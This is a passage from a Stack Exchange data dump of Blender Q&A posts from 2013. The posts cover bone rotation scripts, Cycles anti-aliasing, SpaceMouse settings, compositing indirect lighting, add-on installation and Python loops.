  <row Id="3553" PostTypeId="2" ParentId="3549" CreationDate="2013-10-28T05:56:59.973" Score="1" Body="&lt;p&gt;Based on CoDEmanX answer I added a few minor changes to make it fully work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;copy() of vectors in order to not share references&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;reverse order of vectors in rotational_difference() because the&#xA;resulting quaternion was mirrored.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;import mathutils&#xA;from mathutils import Vector, Quaternion&#xA;import math&#xA;&#xA;def setBone( name, v ):&#xA;    arm = bpy.data.objects.get(name)&#xA;    if armature_prepare(arm):&#xA;        print(&quot;set arm=&quot; + name + &quot; v=&quot; + str( v ))&#xA;        for bone in arm.data.edit_bones: &#xA;            print( bone.tail )&#xA;            bone.tail= v.copy()&#xA;&#xA;def armature_prepare(arm):&#xA;    if arm is not None and bpy.ops.object.mode_set.poll():&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&#xA;        bpy.ops.object.select_all(action='DESELECT')&#xA;        bpy.context.scene.objects.active = arm&#xA;        arm.select = True&#xA;        bpy.ops.object.mode_set(mode='EDIT')&#xA;        return True&#xA;    return False&#xA;&#xA;def getBone(name):&#xA;    v = None&#xA;    arm = bpy.data.objects.get(name)&#xA;    if armature_prepare(arm):&#xA;        print(&quot;get arm=&quot; + name + &quot; arm=&quot; + str( arm ))&#xA;        for bone in arm.data.edit_bones: &#xA;            print( bone.tail )&#xA;            v = bone.tail.copy()&#xA;    return v&#xA;&#xA;def vec():&#xA;    mx = mathutils.Matrix.Rotation(math.radians(15.0), 4, 'X')&#xA;    my = mathutils.Matrix.Rotation(math.radians(30.0), 4, 'Y')&#xA;    mz = mathutils.Matrix.Rotation(math.radians(45.0), 4, 'Z')&#xA;    #m = mx * my * mz&#xA;    m = mz * my * mx&#xA;    print( &quot;m : &quot; + str (m ))&#xA;&#xA;    # get and duplicate original tail pos of reference bone    &#xA;    vo = getBone(&quot;arm_org&quot;)&#xA;    vr = vo * m&#xA;    setBone(&quot;arm_rot&quot;, vr )&#xA;&#xA;    # recalc and apply matrix from rotational difference&#xA;    print(&quot;.&quot; * 20 )&#xA;    print( &quot;vo=&quot; + str( vo ) + repr( vo ) )&#xA;    print( &quot;vr=&quot; + str( vr ) + repr( vr ))&#xA;    #q = vo.rotation_difference( vr )&#xA;    q = vr.rotation_difference( vo )&#xA;    print(&quot;q &quot; + str(q))&#xA;    mr = q.to_matrix()&#xA;    mr.resize_4x4()&#xA;    vm = vo * mr&#xA;    setBone( &quot;arm_mat&quot; , vm )&#xA;    print(&quot;mr: &quot; + str(mr))&#xA;    print( &quot;-&quot; * 20 )&#xA;&#xA;vec()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1363" LastEditDate="2013-10-28T08:58:06.130" LastActivityDate="2013-10-28T08:58:06.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3554" PostTypeId="2" ParentId="3299" CreationDate="2013-10-28T12:32:18.780" Score="14" Body="&lt;p&gt;In 2.67 and 2.68a (I haven't checked 2.69+), the amount of AA present in the cycles render is controlled by the size of the Gaussian sample on the film.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gaussian for the film is the amount of jitter that rays leaving the camera receive. If this is high, the pixel effectively samples a little circle of incoming light in the scene, and you get anti-aliasing. If this is small, then all the rays are almost the same, and you are sampling one single point on the film.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to reduce or remove anti-aliasing in Cycles, turn down the Gaussian width in the Film section of the Render settings. Turning it to 0 will reset it to its minimum (currently 0.01 on my version, the default is 1.50), and rendering will give essentially a non AA image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vZwJe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to avoid an aliased outline, then this isn't the right setting, do it in the compositor as per PeterT's answer.&lt;/p&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2013-10-28T12:32:18.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3555" PostTypeId="2" ParentId="3527" CreationDate="2013-10-28T17:04:20.020" Score="4" Body="&lt;p&gt;Though not officially possible (&lt;a href=&quot;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=37216&amp;amp;group_id=9&amp;amp;atid=498&quot; rel=&quot;nofollow&quot;&gt;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=37216&amp;amp;group_id=9&amp;amp;atid=498&lt;/a&gt;), I found a dirty workaround:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;frameStart = 1&#xA;frameEnd = 155&#xA;frameStep = 50&#xA;viewer_area = None&#xA;viewer_space = None&#xA;&#xA;for area_search in bpy.context.screen.areas:&#xA;    if viewer_area == None and area_search.type == 'IMAGE_EDITOR':&#xA;        viewer_area = area_search&#xA;        break&#xA;&#xA;if viewer_area == None:&#xA;    viewer_area = bpy.context.screen.areas[0]&#xA;    viewer_area.type = &quot;IMAGE_EDITOR&quot;&#xA;&#xA;for space in viewer_area.spaces:&#xA;    if space.type == &quot;IMAGE_EDITOR&quot;:&#xA;        viewer_space = space&#xA;&#xA;path = 'H:\\Data\\_blender\\Fluid\\Video_Edit.mov'&#xA;img = bpy.data.images.load(path)&#xA;w = img.size[0]&#xA;h = img.size[1]&#xA;viewer_space.image = img&#xA;&#xA;frame = 1&#xA;for frame in range(frameStart, frameEnd, frameStep):&#xA;    viewer_space.image_user.frame_offset = frame&#xA;    #switch back and forth to force refresh&#xA;    viewer_space.draw_channels = 'COLOR_ALPHA'&#xA;    viewer_space.draw_channels = 'COLOR'&#xA;    pixels = list(viewer_space.image.pixels)&#xA;    tmp = bpy.data.images.new(name=&quot;sample&quot;+str(frame), width=w, height=h, alpha=False, float_buffer=False)&#xA;    tmp.pixels = pixels&#xA;&#xA;img.user_clear()&#xA;bpy.data.images.remove(img)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2013-10-28T17:04:20.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3556" PostTypeId="1" AcceptedAnswerId="3557" CreationDate="2013-10-28T20:11:25.343" Score="4" ViewCount="6211" Body="&lt;p&gt;I tried Blender today but my &lt;a href=&quot;http://www.3dconnexion.com/products/spacenavigator.html&quot; rel=&quot;nofollow&quot;&gt;Spacemouse&lt;/a&gt; operated in reverse direction. Where can I change this setting?&lt;/p&gt;&#xA;" OwnerUserId="1499" LastEditorUserId="599" LastEditDate="2013-10-28T20:13:05.917" LastActivityDate="2013-10-28T20:38:48.390" Title="Reverse directions of spacemouse" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3557" PostTypeId="2" ParentId="3556" CreationDate="2013-10-28T20:16:35.117" Score="3" Body="&lt;p&gt;You could try adjusting mouse settings in &lt;em&gt;User preferences &gt; Input&lt;/em&gt; (You can open the user preferences with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;, or &lt;em&gt;File &gt; User preferences&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lbJph.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Invert Wheel Zoom Direction&lt;/em&gt; inverts the zoom direction when using the mouse wheel in the 3D view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Invert Zoom Direction&lt;/em&gt; inverts the zoom direction when zooming by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;MMB&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could also try the solution posted in this thread on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?246999-2-62-and-3DConnexion-SpaceNavigator-Can-Axes-be-Inverted&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Artists&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RESOLVED: I received an answer to this question from Tehrasha in the&#xA;  Blender.org forum.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tehrasha pointed out that one of the buttons on the 3D mouse displays&#xA;  a settings menu with options to invert the axes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This works for me. The only thing on my wish list now is to remove the&#xA;  need to hold down SHIFT for panning actions, as this breaks the smooth&#xA;  flying effect of the 3D mouse (it interrupts any rotation). It's odd&#xA;  that zoom (forward / back) works regardless of SHIFT state.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-28T20:38:48.390" LastActivityDate="2013-10-28T20:38:48.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3558" PostTypeId="1" CreationDate="2013-10-29T00:33:33.230" Score="1" ViewCount="1134" Body="&lt;p&gt;Hey there I have a upcoming project where the client would like to have a diagram of a river where it's width, height and angle can be adjusted by the end user on a html5 website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of what I mean changing the angle, ie it makes the river have a steeper incline, thus the rate of water flows faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I use Blender's game engine for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f0HAp.jpg&quot; alt=&quot;river&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1500" LastActivityDate="2013-10-30T06:51:09.167" Title="Is this possible, scaling the width, height &amp; angle of a diagram via html5 and blender?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3560" PostTypeId="1" AcceptedAnswerId="3707" CreationDate="2013-10-29T02:26:50.580" Score="26" ViewCount="6377" Body="&lt;p&gt;Is it possible to change the emission rate of particles over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. Start off with an initial burst of particles, then emit at a steady rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a (poor) example of what I mean by the emission rate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8WrPw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do using only one particle system? (This is necessary because the particles are being used to emit smoke) &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The gif above was made by manually sliding the &lt;em&gt;End&lt;/em&gt; value, but it gives strange and unpredictable results (as can be seen in the gif) as well as not being keyframeable.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-30T20:46:03.463" LastActivityDate="2015-12-28T21:20:43.780" Title="Is it possible to change the emission rate of particles over time?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3561" PostTypeId="2" ParentId="3558" CreationDate="2013-10-29T06:37:07.470" Score="1" Body="&lt;p&gt;You can't run the Blender game engine in a browser. Some options you have are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Display pre-rendered image in the browser, you would have to render animation sequences for the water for each angle. (Bad idea)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import Blender model to three.js using this &lt;a href=&quot;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=LAwORb8MUG0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video Tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a Javascript 3D graphics framework like &lt;a href=&quot;https://github.com/mrdoob/three.js/&quot; rel=&quot;nofollow noreferrer&quot;&gt;three.js&lt;/a&gt; with WEBGL shaders&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Related&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SgJew.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;- &lt;a href=&quot;http://madebyevan.com/webgl-water/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WebGL Water&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13828004/water-simulation-in-three-js&quot;&gt;water-simulation-in-three-js&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jsfiddle.net/gero3/UyGD8/9/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Water&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-10-30T06:51:09.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3562" PostTypeId="1" AcceptedAnswerId="3564" CreationDate="2013-10-29T08:23:55.480" Score="5" ViewCount="2120" Body="&lt;p&gt;As the tilte says, how do I mix a rendered image that has raytraced AO and Environment Lighting with an approximated Indirect Lighting pass? My attempts at putting the images together in Paint.NET results in a washed out image and/or bad color saturation. How does Blender combine Indirect Lighting with the rest of the rendered image (add, multiply, color dodge)?&lt;/p&gt;&#xA;" OwnerUserId="1106" LastEditorUserId="599" LastEditDate="2013-10-29T17:18:34.227" LastActivityDate="2015-11-21T23:50:38.670" Title="How to mix raytrace ambient occlusion with indirect lighting" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;blender-internal-render-engine&gt;&lt;blend-modes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3563" PostTypeId="1" CreationDate="2013-10-29T11:24:08.977" Score="1" ViewCount="3215" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blendernation.com/2013/10/29/archimesh-add-on-creates-architectural-elements/&quot; rel=&quot;nofollow&quot;&gt;Archimesh&lt;/a&gt; add-ons don't appear in the add-ons list after installing them. I got this message: 'One or more addons do not have UTF-8 encoding!&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="241" LastEditDate="2020-07-04T14:57:39.983" LastActivityDate="2020-07-04T14:57:39.983" Title="Archimesh installing problems" Tags="&lt;add-on&gt;&lt;archimesh-add-on&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ClosedDate="2013-10-30T02:32:54.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="3564" PostTypeId="2" ParentId="3562" CreationDate="2013-10-29T12:20:27.710" Score="6" Body="&lt;p&gt;You need to use two scenes for this as far as I know, or two blend files, but I prefer to use scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two choices:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The main scene has everything except the Indirect lighting, and the second scene has &lt;em&gt;only&lt;/em&gt; the Indirect lighting.&lt;/li&gt;&#xA;&lt;li&gt;The main scene has everything, including the indirect lighting, but not the AO. Then the second scene has just the AO.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Either way is fine in my experience, but I prefer to add the indirect lighting separately, so here's the first method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new scene and link all the objects from the current scene. This should keep all your animation, meshes, materials and textures in sync. (Adding a new object may be problematic, and I'd like to hear anyone's solution to that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lKKyR.png&quot; alt=&quot;New Scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlink the World settings by clicking the number (in this case '2') next to the datablock name, otherwise when you turn off AO and enable Indirect lighting, it'll do the same to the other scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EtbTH.png&quot; alt=&quot;Unlink datablock&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in the Render Layers tab of the new scene, uncheck &lt;em&gt;Combined&lt;/em&gt; and &lt;em&gt;Z&lt;/em&gt;, and check &lt;em&gt;Indirect&lt;/em&gt; and &lt;em&gt;Color&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D8AdT.png&quot; alt=&quot;Render passes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly you just need to join the two scene's renders together. You can do this in the compositor or any 2D/Paint program that supports layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor, simply multiply the &lt;em&gt;Color&lt;/em&gt; pass by the &lt;em&gt;Indirect&lt;/em&gt; pass (the &lt;em&gt;Indirect&lt;/em&gt; stores the light color and intensity, but the &lt;em&gt;Color&lt;/em&gt; stores the color of the surfaces which we also need), then Add this to the render of the main scene with ray-traced AO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hM4YU.png&quot; alt=&quot;Composite nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the renders and passes in my example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main scene (raytraced AO):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8SXAo.jpg&quot; alt=&quot;Main scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Color Pass:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iABzp.jpg&quot; alt=&quot;Col&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indirect Pass:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dZg6k.jpg&quot; alt=&quot;Indirect&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indirect multiplied by Color:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qvKaG.jpg&quot; alt=&quot;Indirect multiplied by color&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final composite:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IpE0B.jpg&quot; alt=&quot;Composite&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to crank up the indirect lighting effect, simply increase the Fac on the Add node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W0fPa.jpg&quot; alt=&quot;Exaggerated&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method can also be used to get the Indirect lighting from Cycles if you want. You can even render a low number of samples in the Cycles scene and then use the &lt;a href=&quot;https://www.youtube.com/watch?v=h2UnvgqXqLc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bilateral Blur&lt;/a&gt; node to even out the noise.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="2217" LastEditDate="2015-11-21T23:50:38.670" LastActivityDate="2015-11-21T23:50:38.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3567" PostTypeId="5" CreationDate="2013-10-29T17:17:43.957" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-29T17:17:43.957" LastActivityDate="2013-10-29T17:17:43.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3568" PostTypeId="4" CreationDate="2013-10-29T17:17:43.957" Score="0" Body="Questions related to blenders source code." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-29T17:17:43.957" LastActivityDate="2013-10-29T17:17:43.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3569" PostTypeId="1" AcceptedAnswerId="3593" CreationDate="2013-10-29T17:26:17.320" Score="6" ViewCount="996" Body="&lt;p&gt;Every time I use the rigid body tools I have a visible space between the passive object and the active object, even when I set the collision margin to very small or zero.  Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="12" LastEditDate="2013-10-30T02:33:59.267" LastActivityDate="2013-11-01T01:41:59.027" Title="Rigid body simulation always has a visible collision space" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3570" PostTypeId="2" ParentId="3563" CreationDate="2013-10-29T17:50:45.793" Score="1" Body="&lt;p&gt;It sounds like you extracted the zip and installed each &lt;code&gt;.py&lt;/code&gt; file individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try directly &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons#Installation_of_an_Add-On&quot; rel=&quot;nofollow noreferrer&quot;&gt;installing the zip&lt;/a&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Addons can be python scripts .py or .zip files (containing .py&#xA;  scripts).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Install from file&lt;/em&gt; in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User Preferences &gt; Addons&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tpUj9.png&quot; alt=&quot;Install from file screenshot&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Navigate to the zip and select it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E5ODl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the addon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aUZ4x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to install it manually, you can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Extract the zip&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the resulting directory containing the &lt;code&gt;.py&lt;/code&gt; files into your &lt;code&gt;//scripts/addons/&lt;/code&gt; directory (&lt;code&gt;//&lt;/code&gt; being the path to your blender config directory). See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons#File_locations&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; on file locations for more info on where this is:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows 7:&lt;/strong&gt; &lt;code&gt;C:\Users\%username%\AppData\Roaming\Blender Foundation\Blender\2.5x\scripts\addons&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows XP:&lt;/strong&gt; &lt;code&gt;C:\Documents and Settings\%username%\Application Data\Blender Foundation\Blender\2.6x\scripts\addons&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt; &lt;code&gt;/home/$user/.config/blender/$version/scripts/addons&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is also a system wide location for the configuration directory, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;see the wiki for more details&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender can be installed system wide or run from an extracted bundled&#xA;  with all necessary files contained.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There are 3 different directories blender may use, their exact&#xA;  locations are operating system dependent.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOCAL: location of configuration and runtime data (for self contained bundle)&#xA;USER: location of configuration files (normally in the user’s home directory).&#xA;SYSTEM: location of runtime data for system wide installation (may be read-only).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that the the path to offending files will be printed to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Console_window&quot; rel=&quot;nofollow noreferrer&quot;&gt;console&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZM7lR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert encoding to &lt;code&gt;UTF-8&lt;/code&gt; you can open the offending &lt;code&gt;.py&lt;/code&gt; file in a text editor and resave with &lt;code&gt;UTF-8&lt;/code&gt; encoding selected.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-30T22:16:35.210" LastActivityDate="2013-10-30T22:16:35.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3571" PostTypeId="2" ParentId="3551" CreationDate="2013-10-29T18:44:56.303" Score="2" Body="&lt;p&gt;An &lt;a href=&quot;http://docs.python.org/3.3/reference/compound_stmts.html#if&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;if&lt;/code&gt; statement&lt;/a&gt; does not cause the code following it to loop, it merely executes the code indented after the &lt;code&gt;if&lt;/code&gt; only if the statement following the &lt;code&gt;if&lt;/code&gt; (in this case &lt;code&gt;1 &amp;gt; 0&lt;/code&gt;) is true.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;While loop:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If I understand what you are trying to do, you want a &lt;a href=&quot;http://docs.python.org/3.3/reference/compound_stmts.html#while&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;while&lt;/code&gt; statement&lt;/a&gt; instead of an &lt;code&gt;if&lt;/code&gt; statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var = 0 # define the variable &quot;var&quot;&#xA;while 10 &amp;gt; var: # while 10 is greater than whatever value &quot;var&quot; is equal too&#xA;    var = var + 1 # increment var by one&#xA;    print (var) # print var to the console&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will execute the code indented after &lt;code&gt;while 10 &amp;gt; var:&lt;/code&gt; until &lt;code&gt;var&lt;/code&gt; is no longer less than &lt;code&gt;10&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of running the above code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;9&#xA;10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if we apply this to your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;var = 0 # assign these variables to 0&#xA;mx = 0 # I removed these from the scene for loop because you don't need to set them again for eaach scene.&#xA;sx = 0&#xA;sy = 0&#xA;my = 0&#xA;for scene in bpy.data.scenes: # loop through each scene in the .blend and set these values in each one:&#xA;    scene.render.use_border = True # enable borders&#xA;    scene.render.use_crop_to_border = True # enable crop to border&#xA;&#xA;while var &amp;lt; 3: # as long as &quot;var&quot; is equal to a number less than 3, execute:&#xA;    var = var + 1 # increase &quot;var&quot; by one (very important if we don't want to run the loop for infinity)&#xA;    my = my + .2 &#xA;    mx = mx + .2&#xA;    scene.render.border_max_x = mx&#xA;    scene.render.border_min_x = 0&#xA;    scene.render.border_min_y = 0&#xA;    scene.render.border_max_y = my&#xA;    #                                                          vv var is an INT, so we convert it to a string for the perposes of using it in the output image file name&#xA;    bpy.context.scene.render.filepath = &quot;/tmp/test_render_&quot; + str(var) + &quot;.png&quot; # bpy.context.scene gives us the currently open scene, so we can set the path for outputting images for only that scene.&#xA;    